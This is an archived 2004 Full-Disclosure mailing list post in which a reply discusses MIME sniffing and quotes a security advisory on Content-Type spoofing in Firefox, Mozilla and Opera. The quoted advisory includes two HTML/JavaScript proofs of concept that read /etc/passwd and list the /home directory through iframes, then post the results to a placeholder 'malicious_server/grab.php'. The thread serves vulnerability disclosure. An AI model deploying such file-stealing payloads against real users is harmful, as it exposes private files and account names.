lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
From: jftucker at gmail.com (James Tucker)
Subject: [ZH2004-18SA]Firefox/Opera-bypass of security
	restrcition by Content-Type spoofi

To be fair to the often hated, this may be why they do this:

http://msdn.microsoft.com/workshop/networking/moniker/overview/appendix_a.asp

Contrary to RFC2616.

To quote some documentation of years ago:

"If you have a file of a well-known type (e.g. .pdf) and send it with
a freely invented MIME-type (say application/xyz), MSIE still detects
the type and opens it with the registered viewer (here: Acrobat
Reader). The autodetection is only omitted if (a) the MIME-type is not
one of the 26 known types AND (b) the MIME-type is in the registry at
"HKEY_CLASSES_ROOT\MIME\Database\Content Type". In this case the
behavior depends on the registry entry for that type. So it still
seems to be impossible to force a file to download (instead of
display)."

This seems to have good reason now, shame we had to wait so long to
understand. (joke)

The following things may be of some relevance:
1) Windows/Browsers do not record MIME information of saved files to
identify file types, but instead use extensions to identify the type
of a local file (should they?).
2) The file extension and MIME are different, given that both are used
to identify files, some software in the chain should produce an
inconsistency warning (if we wanted to be strict).
3) Mozilla/Opera should apply the new MS standard stream meta info to
identify the file as non-local (like IE does with exe's these days).
This would produce a suitable warning about the files origin (if
opened under explorer.exe, or the current shell context); although
this would not be enough to stop most unknowing users from clicking
yes....
4) ...Thus should (3) be performed, the security context with which
the file is rendered should be affected by the files origin (as could
be recorded by the zone info), not its current location.

Wasn't there a similar thing in 2002 with NN4 and javascript embeded
in GIFs/JPEGs?




On Thu, 16 Dec 2004 01:10:07 +0000, Giovanni Delvecchio
<badpenguin79@...mail.com> wrote:
> [ZH2004-18SA] Content-Type spoofing in Mozilla Firefox and Opera could allow
> users to bypass security restrictions
> 
> 12/12/2004
> 
> Author: Giovanni Delvecchio
> e-mail: badpenguin@...e-h.org
> 
> Browsers tested:
> 
> - Firefox 1.0
> - Mozilla 1.7.x
> - Opera 7.54 (*)
> - Konqueror 3.3.1
> - Epiphany
> -Internet Explorer 6 with SP1
> -Internet Explorer 6 with SP1 + SP2
> 
> Browsers affected:
> 
> - Firefox 1.0
> - Mozilla 1.7.x
> - Opera 7.51,..7.54
> 
> ( maybe also previous versions)
> 
> Problem Description:
> ===================
> A problem exists in some browsers where it is possible by a Content-Type
> spoofing to "force" the target user to open a page
> and bypass the security zone and execute javascript in local context.
> 
> Indeed, when the user "victim" visits http://malicious_server/paage.html, if
> malicious_server responds
> with a page containing an unknown Content-Type field ( for example
> text/html. ,note the dot) ,the browser will show a
> dialog window with some options (open, save, cancel). Choosing "Open" to
> view this page, it will be downloaded
> and opened in local ; javascript code will be executed in local context.
> Obviously, if the user chooses to save and open it after the result is
> equal.
> 
> I tested this with some browsers but it seems that just Mozilla Firefox and
> Opera(*) are exploitable in this mode.
> 
> (*) For Opera, this method of exploitation requires that opera must
> be set as Default Application in "handler for saved files" in case the
> user chooses "Open" in the dialog window.
> 
> Impact
> ======
> 
> It could allow remote users to :
> 
> - obtain the content of /home/ directory ( or c:\Documents and Settings\ for
> windows systems ) and therefore gather a set of usernames present on the
> target system.
> 
> - know if a particular program is installed on the target system for a
> successive attack.
> 
> - Read the content of confidential files
> 
> - Read the browser's cache
> In opera it is located in ~/.opera/cache4, instead in Mozilla Firefox it's
> in /.mozilla/firefox/$RANDOM-STRING.default/Cache.
> Since it is possible to enumerate the directory structure , a malicious user
> could easily know the path to firefox's cache
> 
> PoC:
> ===
> The following PoCs are refered to linux versions of Firefox and Opera, but
> they can be applied also to Windows versions.
> 
> In order to test Content-Type spoofing i have modified an open source
> webserver to make it respond with a fake content-Type
> 
> Example to read a local file by inner.HTML method:
> 
> --------------------------------------------------------
> <HTML>
> 
> <BODY onLoad="ReadFileContent()" >
> 
> <iframe name="local_file" src="file:///etc/passwd" height=0
> width=0></iframe>
> 
> <form name="module" method="post" action="http://malicious_server/grab.php"
> ENCTYPE="text/plain">
> <input name="content" type="hidden" size="300" >
> </form>
> 
> <script>
> 
> function ReadFileContent(){
> 
> alert(local_file.document.all(0).innerHTML);
> 
> document.module.content.value+=local_file.document.firstChild.innerHTML;
> //send content to malicious_server
> document.module.submit();
> }
> 
> </script>
> 
> </body>
> 
> </html>
> 
> (*) it works with Firefox, with Opera it works just if a file has a .htm or
> html extension.
> -----------------------------------------------------------
> 
> List the directory structure:
> ----------------------------------------
> 
> <html>
> 
> <body onLoad="
> 
> for(i=0;i<local_files.document.links.length;i++)
> {document.module.content.value+=local_files.document.links.item(i);}
> alert(document.module.content.value);
> //send list_files at malicious_server
> document.module.submit();
> 
> ">
> 
> <form name="module" method="post" action="http://malicious_server/grab.php"
> ENCTYPE="text/plain">
> <input name="content" type="hidden" size="300" >
> </form>
> 
> <iframe name="local_files" src="file:///home/" height=0
> width=0></iframe>
> 
> </body>
> 
> </html>
> -------------------------------------------
> 
> Vendor notice
> ==============
> 24th November 2004: I have contacted mozilla by security@...illa.org
> and Opera by its bug track page at https://bugs.opera.com/wizard/
> 
> Response From Mozilla https://bugzilla.mozilla.org/show_bug.cgi?id=273419 :
> 
> "The problem is that Mozila use the mime-type for served by http documents
> but it
> does use the extension for opening local files.
> Disable the "open with" option if the application is Mozilla itself.
> This would move the "who is to blame" around to the user because he has to
> go
> through the OS Filemanager to open it."
> 
> Greets:
> ======
> Thanks To: SI^MoNa, SecurityWireless, Siegfried for testing.
> 
> http://www.zone-h.org/advisories/read/id=6502
> 
> _________________________________________________________________
> Ricerche online pi? semplici e veloci con MSN Toolbar!
> http://toolbar.msn.it/
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ